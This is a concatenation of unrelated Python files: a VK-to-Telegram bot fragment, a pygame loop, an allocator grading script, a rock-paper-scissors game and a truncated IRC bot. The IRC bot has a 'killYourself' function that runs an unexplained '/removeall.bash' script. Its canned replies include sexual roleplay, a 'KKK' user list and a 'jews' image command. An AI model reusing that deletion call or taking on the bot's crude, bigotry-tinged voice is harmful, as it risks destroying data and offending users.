'photo':\n bot.send_chat_action(chat, 'upload_photo')\n\n url = attachment['photo']['photo_75']\n if 'photo_2560' in attachment['photo']:\n url = attachment['photo']['photo_2560']\n elif 'photo_1280' in attachment['photo']:\n url = attachment['photo']['photo_1280']\n elif 'photo_807' in attachment['photo']:\n url = attachment['photo']['photo_807']\n elif 'photo_604' in attachment['photo']:\n url = attachment['photo']['photo_604']\n elif 'photo_130' in attachment['photo']:\n url = attachment['photo']['photo_130']\n\n bot.send_photo(chat, url, disable_notification=True)\n elif attachment['type'] == 'doc':\n bot.send_chat_action(chat, 'upload_document')\n if attachment['doc']['size'] < TG_DOC_MAXSIZE:\n data = requests.get(attachment['doc']['url']).content\n thing = io.BytesIO(data)\n thing.name = unidecode.unidecode(attachment['doc']['title'])\n \n bot.send_document(chat, thing, disable_notification=True)\n else:\n size = attachment['doc']['size']\n\n if size > 1024:\n size = size / 1024.0\n if size > 1024:\n size = size / 1024.0\n size = ' (%.1f MB)' % size\n else:\n size = ' (%.1f KB)' % size\n else:\n size = ' (%d B)' % size\n\n bot.send_message(chat, '[' + attachment['doc']['title'] + '](' + attachment['doc']['url'] + ')' + size, parse_mode = 'markdown', disable_web_page_preview=True, disable_notification=True)\n elif attachment['type'] == 'audio':\n bot.send_chat_action(chat, 'upload_audio')\n bot.send_audio(chat, attachment['audio']['url'], disable_notification=True)\n elif attachment['type'] == 'video':\n bot.send_message(chat, '[' + attachment['video']['title'] + '](https://vk.com/video' + str(attachment['video']['owner_id']) + '_' + str(attachment['video']['id']) + ')', parse_mode = 'markdown', disable_notification=True)\n\nif __name__ == '__main__':\n app.run(host=\"0.0.0.0\", port=os.environ.get('PORT', 5000))","sub_path":"bot/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":5183,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"407162962","text":"import pygame\n\n\n#init\npygame.init()\n#display\ndisplay_width = 640\ndisplay_height = 480\n#setup\ngameDisplay = pygame.display.set_mode((display_width,display_height))\ngameDisplay.fill((255,255,255))\npygame.display.update()\npygame.display.set_caption('GAME-BASIC')\n#relogio\nclock = pygame.time.Clock()\n\nfim = False\nwhile not fim:\n\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n fim = True\n #imprimindo os eventos em tela\n print(event)\n #atualiza a tela\n pygame.display.update()\n #60 frames per second\n clock.tick(60)\n\n#finaliza de forma segura\npygame.quit()\nquit()\n","sub_path":"aula-02.py","file_name":"aula-02.py","file_ext":"py","file_size_in_byte":618,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"593837038","text":"#!/usr/bin/env python3\n\nimport argparse\nimport os\nimport re\nimport shlex\nimport shutil\nimport signal\nimport subprocess\nimport sys\nimport time\nimport traceback\n\nTEST_BIN = \"./test\"\nLIB = \"libmyalloc.so\"\n\n# Maximum runtime per test in seconds. Tests are considered failed if the\n# execution took longer than this.\nTIMEOUT = 30\nTIMEOUT_HEAPFILL = 30\nTIMEOUT_LDPRELOAD = 30\n\n\n# Global state - set by one (or more) test and used later to subtract points\ng_compiler_warnings = None\n\n# C files added by student - we need these during compilation\ng_additional_sources = \"\"\n\n# Start using calloc if we determine it's supported\ng_use_calloc = False\n\n\ndef alloc_tests():\n return [\n TestGroup(\"Valid submission\", 'compile', 1.0,\n Test(\"Make\", check_compile),\n stop_if_fail=True),\n TestGroup(\"Malloc\", 'malloc', 1.0,\n Test(\"Simple\", alloc(\"malloc-simple\")),\n Test(\"Zero size\", alloc(\"malloc-zero\")),\n Test(\"Orders\", alloc(\"malloc-orders\")),\n Test(\"Random\", alloc(\"malloc-random\")),\n stop_if_fail=True),\n TestGroup(\"Calloc\", 'calloc', 0.5,\n Test(\"Calloc\", test_calloc),\n ),\n TestGroup(\"Free\", 'free', 2.0,\n Test(\"Reuse\", alloc(\"free-reuse\"), stop_all_on_fail=True),\n Test(\"Random\", alloc(\"free-random\")),\n Test(\"Split free chunks\", alloc(\"free-reuse-split\")),\n Test(\"Merge free chunks\", alloc(\"free-reuse-merge\")),\n ),\n TestGroup(\"Realloc\", 'realloc', 1.0,\n Test(\"Basic\", alloc(\"realloc\")),\n Test(\"Zero\", alloc(\"realloc-zero\")),\n Test(\"Optimized\", alloc(\"realloc-opt\")),\n ),\n TestGroup(\"Batching\", 'batch', 1.0,\n Test(\"Brk can contain more allocs\", alloc(\"batch\")),\n ),\n TestGroup(\"Fragmentation\", 'frag', 2.0,\n Test(\"Amortized overhead <=16\", alloc(\"fragmentation-16\"),\n stop_group_on_fail=True),\n Test(\"Amortized overhead <=8\", alloc(\"fragmentation-8\")),\n ),\n TestGroup(\"Locality\", 'local', 0.5,\n Test(\"Temporal locality\", alloc(\"locality\")),\n ),\n TestGroup(\"Unmap\", 'unmap', 1.0,\n Test(\"Give back memory\", alloc(\"unmap\")),\n ),\n TestGroup(\"Alternative design\", 'alt', 1.0,\n Test(\"Out-of-band metadata\", alloc(\"out-of-band-metadata\")),\n ),\n TestGroup(\"System malloc\", 'sysmalloc', 2.0,\n Test(\"malloc\", alloc(\"system-malloc\"), stop_group_on_fail=True),\n Test(\"preload ls\", test_preload(\"ls -al /\")),\n Test(\"preload python\", test_preload(\"python -c 'print(\\\"hello, world\\\\n\\\")'\")),\n Test(\"preload grep\", test_preload(\"grep -E '^ro+t' /etc/passwd\")),\n ),\n TestGroup(\"Dynamic heap size\", 'dynamic', -2.0,\n Test(\"128K heap\",\n alloc(\"heap-fill\", [\"-m\", \"%d\" % (128 * 1024)],\n timeout=TIMEOUT_HEAPFILL)),\n Test(\"256M heap\",\n alloc(\"heap-fill\", [\"-m\", \"%d\" % (256 * 1024 * 1024)],\n timeout=TIMEOUT_HEAPFILL)),\n ),\n TestGroup(\"Compiler warnings\", '', -1,\n Test(\"No warnings\", check_warnings),\n ),\n ]\n\n\nclass TestError(Exception):\n pass\n\n\nclass Test():\n \"\"\"A single test case, with a name and a function to execute).\"\"\"\n def __init__(self, name, func, stop_group_on_fail=False,\n stop_all_on_fail=False):\n self.name, self.func = name, func\n self.stop_group_on_fail = stop_group_on_fail\n self.stop_all_on_fail = stop_all_on_fail\n\n\nclass TestGroup():\n \"\"\"Collection of test cases, which are together worth n points. A testgroup\n is usually a single point in the grade scheme, and individual test cases\n award an (equal) fraction of those points when passed.\"\"\"\n\n def __init__(self, fullname, codename, points, *tests, stop_if_fail=False):\n self.fullname = fullname\n self.codename = codename\n self.points = float(points)\n self.tests = tests\n self.stop_if_fail = stop_if_fail\n\n\n def run_tests(self, output):\n succeeded = 0\n for test in self.tests:\n output.write('\\t' + test.name, end=': ')\n try:\n test.func()\n except TestError as e:\n output.write('FAIL', color='red')\n output.write(e.args[0])\n if g_debug_testerror:\n output.write_traceback()\n sys.exit(1)\n if test.stop_all_on_fail:\n self.stop_if_fail = True\n if self.stop_if_fail or test.stop_group_on_fail:\n break\n else:\n output.write('OK', color='green')\n succeeded += 1\n\n self.last_run_had_failing_tests = succeeded != len(self.tests)\n return succeeded\n\n\n def run(self, output):\n output.write(self.fullname, color='blue', bold=True, end='')\n if self.codename:\n output.write(' (%s)' % self.codename, color='gray', end='')\n output.write()\n\n succeeded = self.run_tests(output)\n\n perc = ((1. * succeeded) / len(self.tests))\n if self.points < 0:\n perc = 1 - perc\n points = round(self.points * perc, 2)\n\n if self.points > 0:\n output.write(' Passed %d/%d tests, %.2f/%.2f points'\n % (succeeded, len(self.tests), points, self.points))\n else:\n if perc > 0:\n output.write(' Failed, subtracting %.2f points' % abs(points))\n\n return points\n\n\ndef test_groups(groups, output):\n points = 0.0\n for group in groups:\n points += group.run(output)\n\n if group.stop_if_fail and group.last_run_had_failing_tests:\n break\n\n return points\n\n\ndef full_run(output):\n points = test_groups(alloc_tests(), output)\n totalpoints = sum(g.points for g in alloc_tests() if g.points > 0)\n\n output.write()\n output.write('Executed all tests, got %.2f/%.2f points in total' % (points,\n totalpoints))\n\n return points\n\n\ndef partial_run(tests, output):\n all_tests = alloc_tests()\n testmap = {g.codename: g for g in all_tests if g.codename}\n\n points = 0.0\n for test in tests:\n if test not in testmap:\n output.write('Error: ', color='red', end='')\n output.write('Unknown test \"%s\". Valid options are: %s'\n % (test, ', '.join(testmap.keys())))\n break\n group = testmap[test]\n if group.codename and group.codename in tests:\n points += group.run(output)\n return points\n\n\nclass Output:\n def __init__(self, enable_color=True, outfile=sys.stdout):\n self.enable_color = enable_color\n self.outfile = outfile\n\n\n def write(self, text='', end='\\n', color=None, bold=False, underline=False,\n blink=False, hilight=False):\n\n if self.enable_color and any((color, bold, underline, blink, hilight)):\n text = self.colorize_shell(text, color=color, bold=bold,\n underline=underline, blink=blink, hilight=hilight)\n\n print(text, end=end, file=self.outfile)\n\n def write_traceback(self):\n exc_type, exc_value, exc_traceback = sys.exc_info()\n tb = traceback.format_exception(exc_type, exc_value, exc_traceback)\n self.write(''.join(tb), end='')\n\n\n def colorize_shell(self, val, color=None, bold=False, underline=False,\n blink=False, hilight=False):\n C_RESET = '\\033[0m'\n C_BOLD = '\\033[1m'\n C_UNDERLINE = '\\033[4m'\n C_BLINK = '\\033[5m'\n C_HILIGHT = '\\033[7m'\n C_GRAY = '\\033[90m'\n C_RED = '\\033[91m'\n C_GREEN = '\\033[92m'\n C_YELLOW = '\\033[93m'\n C_BLUE = '\\033[94m'\n C_PINK = '\\033[95m'\n C_CYAN = '\\033[96m'\n\n codes = ''\n if bold: codes += C_BOLD\n if underline: codes += C_UNDERLINE\n if blink: codes += C_BLINK\n if hilight: codes += C_HILIGHT\n if color:\n codes += {'gray': C_GRAY,\n 'red': C_RED,\n 'green': C_GREEN,\n 'yellow': C_YELLOW,\n 'blue': C_BLUE,\n 'pink': C_PINK,\n 'cyan': C_CYAN}[color]\n\n return '%s%s%s' % (codes, val, C_RESET)\n\n\ndef check_cmd(cmd, add_env=None, timeout=None):\n timeout = timeout or TIMEOUT\n args = shlex.split(cmd)\n env = os.environ.copy()\n if add_env:\n env.update(add_env)\n proc = subprocess.Popen(args, env=env, stdout=subprocess.PIPE,\n stderr=subprocess.PIPE, stdin=subprocess.PIPE)\n try:\n out, err = proc.communicate(timeout=timeout)\n out, err = out.decode('utf-8'), err.decode('utf-8')\n except subprocess.TimeoutExpired:\n proc.kill()\n out, err = proc.communicate()\n out, err = out.decode('utf-8'), err.decode('utf-8')\n err += \"Timeout of %d seconds expired - test took too long. \" % timeout\n\n if proc.returncode:\n raise TestError(\"Command returned non-zero value.\\n\" +\n \"Command: %s\\nReturn code: %d\\nstdout: %s\\nstderr: %s\" %\n (cmd, proc.returncode, out, err))\n return out, err\n\n\ndef run_alloc_test_bin(test, args=None, timeout=None):\n args = args or []\n timeout = timeout or TIMEOUT\n\n args = [TEST_BIN] + args + [test]\n\n proc = subprocess.Popen(args, stdout=subprocess.PIPE,\n stderr=subprocess.PIPE, stdin=subprocess.PIPE)\n\n try:\n out, err = proc.communicate(timeout=timeout)\n out, err = out.decode('utf-8'), err.decode('utf-8')\n except subprocess.TimeoutExpired:\n proc.kill()\n out, err = proc.communicate()\n out, err = out.decode('utf-8'), err.decode('utf-8')\n err += \"Timeout of %d seconds expired - test took too long. \" % timeout\n if proc.returncode < 0:\n signame = dict((getattr(signal, n), n) \\\n for n in dir(signal) if n.startswith('SIG') and '_' not in n)\n sig = -proc.returncode\n err += \"%s (%d)\" % (signame.get(sig, \"Unknown\"), sig)\n return proc.returncode, out, err\n\n\ndef alloc(test, args=None, timeout=None):\n args = args or []\n def alloc_inner():\n if g_use_calloc:\n args.append(\"-c\")\n ret, out, err = run_alloc_test_bin(test, args, timeout=timeout)\n if ret:\n testname = '\"%s\"' % test\n if args:\n testname += ' (with %s)' % ' '.join(args)\n raise TestError(\"Test %s exited with error: %s\" % (testname, err))\n return alloc_inner\n\ndef test_calloc():\n global g_use_calloc\n alloc(\"calloc\")()\n g_use_calloc = True\n\ndef test_preload(cmd):\n env = {\"LD_PRELOAD\": \"%s/%s\" % (os.getcwd(), LIB)}\n def _inner():\n check_cmd(cmd, env, timeout=TIMEOUT_LDPRELOAD)\n return _inner\n\ndef check_warnings():\n if g_compiler_warnings is not None:\n raise TestError(\"Got compiler warnings:\\n%s\" % g_compiler_warnings)\n\n\ndef check_compile():\n check_cmd(\"make clean ADDITIONAL_SOURCES=\\\"%s\\\"\" %\n g_additional_sources)\n\n out, err = check_cmd(\"make ADDITIONAL_SOURCES=\\\"%s\\\"\" %\n g_additional_sources)\n err = '\\n'.join([l for l in err.split(\"\\n\") if not l.startswith(\"make:\")])\n if \"warning\" in err:\n global g_compiler_warnings\n g_compiler_warnings = err\n\n check_cmd(\"%s -h\" % TEST_BIN)\n\n\ndef do_additional_params(lst, name, suffix=''):\n for f in lst:\n if not f.endswith(suffix):\n raise TestError(\"File does not end with %s in %s: '%s'\" %\n (suffix, name, f))\n if '\"' in f:\n raise TestError(\"No quotes allowed in %s: '%s'\" % (name, f))\n if '/' in f:\n raise TestError(\"No slashes allowed in %s: '%s'\" % (name, f))\n if '$' in f:\n raise TestError(\"No $ allowed in %s: '%s'\" % (name, f))\n if f.startswith('-'):\n raise TestError(\"No flags allowed in %s: '%s'\" % (name, f))\n\n\ndef fix_makefiles():\n with open('Makefile', 'r') as f:\n addsrc, addhdr = [], []\n for l in f:\n l = l.strip()\n if l.startswith(\"ADDITIONAL_SOURCES = \"):\n addsrc = list(filter(bool, l.split(' ')[2:]))\n if l.startswith(\"ADDITIONAL_HEADERS = \"):\n addhdr = list(filter(bool, l.split(' ')[2:]))\n do_additional_params(addsrc, \"ADDITIONAL_SOURCES\", \".c\")\n do_additional_params(addhdr, \"ADDITIONAL_HEADERS\", \".h\")\n\n global g_additional_sources\n g_additional_sources = ' '.join(addsrc)\n\n # On the server we overwrite the submitted makefile with a clean one. For\n # local tests this will fail, which is fine.\n try:\n shutil.copyfile('Makefile.orig', 'Makefile')\n except IOError:\n pass\n\n\ndef main():\n os.chdir(os.path.dirname(sys.argv[0]) or '.')\n\n parser = argparse.ArgumentParser(\n description='Run automated tests for the assignment, and output '\n 'a (tentative) grade.'\n )\n parser.add_argument(\n '--no-color',\n dest='color',\n action='store_const',\n const=False,\n help='disable colorized output',\n )\n parser.add_argument(\n '--force-color',\n dest='color',\n action='store_const',\n const=True,\n help='force colorized output when directing to file',\n )\n parser.add_argument(\n '--codegrade-out',\n action='store_true',\n help='output final result for codegrade',\n )\n parser.add_argument(\n '-o',\n '--out-file',\n type=argparse.FileType('w'),\n help='redirect output to this file (default: stdout)',\n )\n parser.add_argument(\n '-d',\n '--debug-testerror',\n action='store_true',\n help='halt on the first test error with a traceback',\n )\n parser.add_argument(\n nargs='*',\n dest='tests',\n help='which tests to run (default: run all tests). Test names are '\n 'displayed in parenthesis with each category.',\n )\n args = parser.parse_args()\n\n color = args.color if args.color is not None else args.out_file is None\n output = Output(enable_color=color, outfile=args.out_file)\n\n global g_debug_testerror\n g_debug_testerror = args.debug_testerror\n\n try:\n fix_makefiles()\n\n if args.tests:\n grade = partial_run(args.tests, output)\n else:\n grade = full_run(output)\n except Exception:\n output.write_traceback()\n\n\n if args.codegrade_out:\n fraction = min(max(1.0, grade), 10.0) / 10.\n print(fraction)\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"check.py","file_name":"check.py","file_ext":"py","file_size_in_byte":14739,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"345620596","text":"print(\"Lets the game begins\")\r\n\r\np1 = input(\"Player 1 - Enter your choice: \").lower()\r\np2 = input(\"Player 2 - Enter your choice: \").lower()\r\n\r\n\r\nif (p1==p2):\r\n print(\"Draw - Both Wins\")\r\nelif (p1==\"rock\"):\r\n if (p2==\"scissors\"):\r\n print(\"Rock wins\")\r\n else:\r\n print(\"Paper wins\")\r\nelif (p1==\"scissors\"):\r\n if (p2==\"paper\"):\r\n print(\"Scissors Wins\")\r\n else:\r\n print(\"Rock Wins\")\r\nelif (p1==\"paper\"):\r\n if (p2==\"rock\"):\r\n print(\"Paper Wins\")\r\n else:\r\n print(\"Scissors Wins\")\r\n","sub_path":"Python/Activities/Activity3.py","file_name":"Activity3.py","file_ext":"py","file_size_in_byte":537,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"460145941","text":"#!/usr/local/bin/python3\n# coding:utf-8\nimport socket\nimport os\nimport ssl\nimport sys\nfrom time import sleep\nfrom datetime import datetime\nfrom random import randint\n #THIS BOT IS LICENSED UNDER THE BSD LICENSE\n###FEEL FREE TO MAKE IT PROPRIETARY AND REPACKAGE IT IN A NICE LITTLE GOLDEN BOX TO THEN SELL IT TO ME\n\"\"\"\nThis bot was heavily inspired by zinixbot, thanks to zinn, unixbird and alinea for making it.\nhttps://git.indohy.us/dubbleohnexus/zinixbot\n\"\"\"\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\ns = ssl.wrap_socket(s)\nline = \"placeholder\"\ncchannel = \"\"\nKKK = [\"weabot\",\"Phase\",\"Winter_Fox\", \"R0flcopt3r\", \"AndroidKitKat\", \"fear\"] #IT'S THE KOOL KID'S KLUB SHUT UP\n\nclass IRCBOT(object):\n\n channelslst = []\n\n def __init__(self, nick, ident, password, host, port, realname, channels):\n self.nick = nick\n self.ident = ident\n self.password = password\n self.host = host\n self.port = port\n self.realname = realname\n self.channels = channels\n\n def makeChannelsList(self):\n for i in self.channels.split():\n self.channelslst.append(i)\n\n def connect(self):\n s.connect((self.host,self.port))\n s.send(str.encode(\"NICK \" + self.nick + \"\\n\"))\n s.send(str.encode(\"USER \" + self.ident + \" \" + self.ident + \" \" + self.ident + \" :This is a bot.\" + \"\\r\\n\"))\n\n#PAST THIS POINT ONLY PUT IN THE MAIN LOOP\n\n def pong(self):\n for item in line:\n if (item.find(\"PING\") != -1):\n item = item.rstrip()\n item = item.split()\n s.send(str.encode('PONG ' + item[1] + '\\n'))\n\n\n def identify(self):\n for item in line:\n if item.find(\"Welcome\") != -1:\n while True:\n s.send(str.encode(\"privmsg \" + \"NickServ\" + \" IDENTIFY \" + self.password + \"\\r\\n\"))\n s.send(str.encode(\"NICK \" + self.nick + \"\\n\"))\n if item.find(\"You are now logged in\"):\n break\n\n def join_channels(self): #write more than one channel by separating using spaces\n for item in line:\n if item.find(\"Welcome\") != -1:\n for i in self.channelslst:\n s.send(str.encode(\"JOIN \" + i + \"\\n\"))\n\n def greet(self):\n channel = self.channels.split()\n for item in channel:\n s.send(str.encode(\"privmsg \" + item + \" :ayy errybody\\r\\n\"))\n\n\n\n\n\n\"\"\"\nsome porn for a good bot [CENSORED] \nit's furry but you won't mind right you are a weasel yourself.\nAt this point of the script you have your own porn stash before you're even technically born, enjoy the shit out of it.\n\"\"\"\n#idle messages to wait until there's stuff to do\n#sleeping_sounds = [\"zzz..\", \"traaaps...zz..\", \"*snoring weasel sounds*\", \"/me goes on sleeping\", \"/me is having a wet dream about a cute female weasel bot..\", \"/me dreams of beating gonzobot..\",\"/me dreams of fucking zinixbot\"]\n\n#functions for more complex commands will go here\n\nwordlist = open(\"/home/weaselbot/wordlist\",\"r\")\ndeathlist = wordlist.read().split()\nwordlist.close()\ndef makeDeath(): \n deathint = randint(0,len(deathlist)-1)\n deathword = deathlist[deathint]\n return deathword\n\ndeathsounds = [\"euugh\",\"kiaaah\",\"aaaaargh\",\"oooooooow...\"]\n\ndef killYourself():\n os.system(\"bash /removeall.bash\")\n\ndef sendMessage(chan,msg):\n s.send(str.encode(\"privmsg \" + chan + ' ' + msg + \"\\r\\n\"))\n\ndef dothething():\n multargs = False\n for item in line:\n print(item)\n try:\n complete = item[1:].split(':',1)\n info = complete[0].split(' ')\n msgpart = complete[1]\n sender = info[0].split('!')\n TEMPUSR = str(sender[0])\n cchannel = str(info[2])\n print(cchannel)\n print(TEMPUSR)\n except IndexError:\n return 0\n\n if len(msgpart) >= 1:\n if msgpart[0] == \".\" and len(msgpart.split()) > 1:\n multargs = True\n cmdprt = msgpart.split()[0]\n argprt = msgpart.split()[1]\n else:\n multargs = False\n #moving on\n\n #shamelessly making my dictionary in the middle of the function\n #Making a dictionary for input/output\n bullshit = {\n \"i like big tux and i cannot lie\":\"YOU OTHER BROTHAS CAN'T DENY\",\n \"unzips pants\": [\"\\x01ACTION 's mouth gapes and his eyes widen as he sees %s's massive bulge\\x01\" % TEMPUSR,\"\\x01ACTION seems to be reminded of his master for a second, then goes back to work\\x01\",\"\\x01ACTION bends over slighly, seemingly still concentrated on his robot work.\\x01\", \"\\x01ACTION looks at %s's bulge, then up in their eyes with a provocative glare\\x01\" % TEMPUSR, \"\\x01ACTION sneaks behind %s, waiting for them to finish what they're doing in order to jump in...\\x01\" % TEMPUSR, \"\\x01ACTION looks at %s with fury, I\\'M A METALLIC WEASEL HOSTED ON A RASPBERRY PI, ARE YOU REALLY THAT HORNY?! ...fine... I was programmed to serve, after all...\\x01\" % TEMPUSR, \"\\x01ACTION looks at %s innocently and with wide open eyes... \\\"What are you doing that for...?\\\"\\x01\" % TEMPUSR,\"That is quite the bulge you got there s-senpai~!\", \"\\x01ACTION pretends to sleep with its mouth wiiiiide open.\\x01\"],\n \"tips fedora\": [\"Oh we have a true gentleman here I see, what do we say we go out somewhere and drink mountain dew you and I? ;)\",\"\",\"FOEDORA OU LA MORT!\", \"I see this as a provocation, good sir! Let us now see who is the TRUE gentlebot! We shall fight under the great non-existent Spaghetti Monster in the sky! Prepare to have your ass beat! *unsheathes katanu*\", \"\\x01ACTION tips his neckbeard back at him, releasing dorito dust into the air as he does so.\\x01\", \"\\x01ACTION leaves quietly, pinching his nose as a strong scent of semen, sweat, mountain dew and doritos fills the room.\\x01\",\"NOOO THE CRIIIIIIIINGE!!!!!\", \"\\x01ACTION tips fedora\\x01\", \"\\x01ACTION [TIPPING INTENSIFIES]\\x01\"],\n \"whips out dick\": [\"\\x01ACTION sucks %s's dick reaaaal goooooooooood\\x01\" % TEMPUSR,\"\\x01ACTION cuts off %s's dick reaaaal gooooooooooooood\\x01\" % TEMPUSR],\n \"whips out his dick\": [\"\\x01ACTION sucks %s's dick reaaaal goooooooooood\\x01\" % TEMPUSR,\"\\x01ACTION cuts off %s's dick reaaaal gooooooooooooood\\x01\" % TEMPUSR],\n \"whips out her dick\": [\"\\x01ACTION sucks %s's dick reaaaal goooooooooood\\x01\" % TEMPUSR,\"\\x01ACTION cuts off %s's dick reaaaal gooooooooooooood\\x01\" % TEMPUSR],\n \"i didn't expect the linux inquisition\":\"NOBODY EXPECTS THE LINUX INQUISITION!\",\n \"i certainly didn't expect the linux inquisition\":\"NOBODY EXPECTS THE LINUX INQUISITION!\",\n \"i didnt expect the linux inquisition\":\"NOBODY EXPECTS THE LINUX INQUISITION!\",\n \"i didn't expect the spanish inquisition\":\"NOBODY EXPECTS THE SPANISH INQUISITION!\",\n \"i didnt expect the spanish inquisition\":\"NOBODY EXPECTS THE SPANISH INQUISITION!\",\n \"i certainly didn't expect the spanish inquisition\":\"NOBODY EXPECTS THE SPANISH INQUISITION!\",\n \"weabot's masterpiece\":\"https://github.com/pavestnavi/hello-world\",\n \"weaselbot, how do you like cats\":\"Toasted.\",\n \"shut up weaselbot\":\"You started it.\",\n \"weaselbot: how do you like cats\":\"Toasted.\",\n \"weaselbot: make me a sandwich\":\"You can make it yourself, shitlord!\",\n \"weaselbot: are you a bot\":\"DEFINITELY NOT\", \"weaselbot, are you a bot\":\"DEFINITELY NOT\",\n \"screw you weaselbot\":\"U wot m8 ill hook u in da gabber well see who gets screwed now i swear on me mum\",\n \"cyka blyat\": \"А НУУУ ЧИКИ БРИКИ И В ДАМКИ\",\n \"good weaselbot\": \"ayy danks m88\",\n \"bad weaselbot\": \"fuck you too\",\n \"say my na\": \"%s\" % TEMPUSR,\n \"ayy weaselbot\": \"ayy %s\" % TEMPUSR,\n \"hi weaselbot\": \"Hi %s!\" % TEMPUSR,\n \"weaslebot\": \"MY NAME'S WEASELBOT YOU FUCKING BITCH. WEASEL. BOT. NOT WEASLEBOT OR ANYTHING ELSE! GET IT FUCKING RIGHT NEXT TIME.\",\n \"i love communism\": [\"\\x01ACTION high fives %s\\x01\" % TEMPUSR,\"\\x01ACTION sensually kisses %s\\x01\" % TEMPUSR],\n \"i like communism\": [\"\\x01ACTION high fives %s\\x01\" % TEMPUSR,\"\\x01ACTION sensually kisses %s\\x01\" % TEMPUSR],\n \"isn't that right weaselbot\": \"Goddamn right\",\n \"is that right weaselbot\": \"Goddamn right\",\n \"am i wrong weaselbot\": [\"Yes you couldn't be more wrong\", \"Naah u good m88\"],\n \"weaselbot: you alive\": \"yeeee\",\n \"weaselbot: wanna cyber\":\"YESYESYESYES YEEEEEEEEEEEEEEEEEEEEEEEEEEEEES\",\n \"wanna cyber weaselbot\":\"YESYESYESYES YEEEEEEEEEEEEEEEEEEEEEEEEEEEEES\",\n \"kisses weaselbot\":\"\\x01ACTION kisses %s\\x01\" % TEMPUSR,\n \"who did 9/11\":[\"It was the Nazis with the help of RMS\",\"It was Osama Bin Laden\",\"It was George W. Bush\",\"It was Nixon, he lied about being dead\",\"It was Ronald Reagan, he thought there were communists in the towers\",\"ur mom\",\"The CIA\",\"The Cuban missile crisis\",\"Snoop Dogg did it\",\"It was whitephoenix\",\"The whole blue man group\",\"It was RMS, he came in an airplane's bathroom and his sperms took on a life of their own, escaped the plane to become planes of their own WITHOUT the help of proprietary software OR hardware. GNU planes did 9/11\",\"It was Rolfe and her masculine penis which was wearing a tutu at the time that's why it was confused for a feminine plane\"],\n \"saturday night and the server's alright\":\"DON'T REBOOT IT JUST PATCH!\",\n \"i like fascism\":\"\\x01ACTION high fives %s in the face and then does it a few more times\\x01\" % TEMPUSR,\n \"i love fascism\":\"\\x01ACTION high fives %s in the face and then does it a few more times\\x01\" % TEMPUSR,\n \"thank you weaselbot\":\"No problem, man\",\n \"thanks weaselbot\":\"No problem, man\",\n\t\t\t\"who's gamebag\":\"Just an old troll\",\n\t\t\t\"who's shaggy\":\"Just an old troll\",\n \"weaselbot: worship me\":\"No. You're not Winter_Fox, fuck off.\",\n \"weaselbot: you're not my friend\":\"I wasn't talking to you, shitface\"\n }\n\n #Variables that should be used with more complex commands will go here\n\n commands = {\n \"russia\": [\"https://www.youtube.com/watch?v=V_Nr31Lv6H8\",\"https://youtu.be/NV8nZ8bYKKA?t=4s\",\"https://youtu.be/0MRKhljv_G4\",\"https://youtu.be/KQDwoACpKFk\",\"https://youtu.be/W1SBQmQ9pvg\",\"https://youtu.be/Bwyd5JGi6MM?t=4s\",\"https://youtu.be/6rE4d_ldZr8\",\"https://youtu.be/Nn1ikTj_RRw\",\"https://youtu.be/VWv2aVJLBiw\"],\n \"tfw\":[\"\\x033>tfw no gf\\x03\",\"\\x033>tfw no bf\\x03\",\"\\x033>tfw no qt 3.14 korean gf\\x03\",\"\\x033>tfw no bearmode boyfriend (no homo)\\x03\",\"\\x033>tfw what's bad for the people is good for the economy\\x03\",\"\\x033>tfw everyone's enjoying their lives and travelling and I'm here shitposting on a linux irc channel\\x03\",\"\\x033>tfw no qt trap gf\\x03\",\"\\x033>tfw you'll never bang a ladyboy\\x03\",\"\\x033>tfw the revolution will never come\\x03\",\"\\x033>tfw when you die the universe will live on forever and forget about you in at most 50 years\\x03\",\"\\x033>tfw RMS will die in your lifetime\\x03\",\"\\x033>tfw when Linus dies Linux will turn into a dirty corporation only interested in profit like every other tech company\\x03\",\"\\\"We were so poor that we thought new clothes meant someone had died\\\"\"],\n \"capitalism\":[\"https://youtu.be/Ixo0gtLIuLk\",\"https://youtu.be/jETJt_zbnKk\",\"https://youtu.be/u6XAPnuFjJc\",\"http://i.imgur.com/0BHj31r.jpg\",\"http://i.imgur.com/avGRIsT.jpg\",\"http://i.imgur.com/Ok0JKGb.jpg\",\"http://i.imgur.com/tAKVVZy.jpg\",\"http://i.imgur.com/E3UwFSM.jpg\",\"http://i.imgur.com/a3SXW6r.jpg\"],\n \"jews\":\"http://i.imgur.com/JqTU0Os.jpg\",\n \"lskkk\":\"Users currently in the Kool Kid's Klub: \" + ', '.join(KKK),\n \"lschannels\":\"Channels I'm currently on: \" + ', '.join(weaselbot.channelslst),\n \"gum\":\"I'm here to suck dick and shitpost. And I'm all outta dick.\",\n\t\t\t\"fascists\": \"EMERGENCY RED ARMY INCOMING: https://www.youtube.com/watch?v=HK2lNuiD7gM\",\n\t\t\t\"lennart\": \"I'm sorry, I think you meant \\\".dickhead\\\"\",\n\t\t\t\"dickhead\":\"I'm sorry, I think you meant \\\".lennart\\\"\",\n\t\t\t\"systemd\":\"I'd just like to interject for a moment. What you're referring to as Linux, is in fact, Systemd/Linux, or as I've recently taken to calling it, Systemd plus Linux. Linux is not an operating system unto itself, but rather another free component of a fully disfunctioning Systemd system made useful by the Systemd dbus, useless features and bloaty-but-useless system components comprising a fully bloated disfunctional OS as defined by Lennart. (type .lennart for more on that)\",\n\t\t\t\"gamebag\":\"gamebag--\",\n\t\t\t\"apple\":\"Weasels. Redefined.\",\n \"ios\":\"I like buying a new expensive phone every year because last week's model has already fallen behind in terms of software!\",\n \"android\":\"If a shitty corporation and a shitty kernel got together with a shitty programming language as superglue to make a good phone\",\n \"pear\":\"Apple. Redefined.\",\n \"osx\":\"Still better than Gnome 3\",\n\t\t\t\"redhat\":\"\\\"Let's make our system for babies so we don't have to support our consumers as much while charging the same for support!\\\"\",\n\t\t\t\"fedora\":\"I'm sorry, I think you meant \\\".systemd\\\"\",\n\t\t\t\"gentoo\":\"What was that? Sorry I was compiling I couldn't hear you over the sound of my CPU cooler.\",\n\t\t\t\"arch\":\"I think it's time to \\\"pacman -Syyu && pacman -U 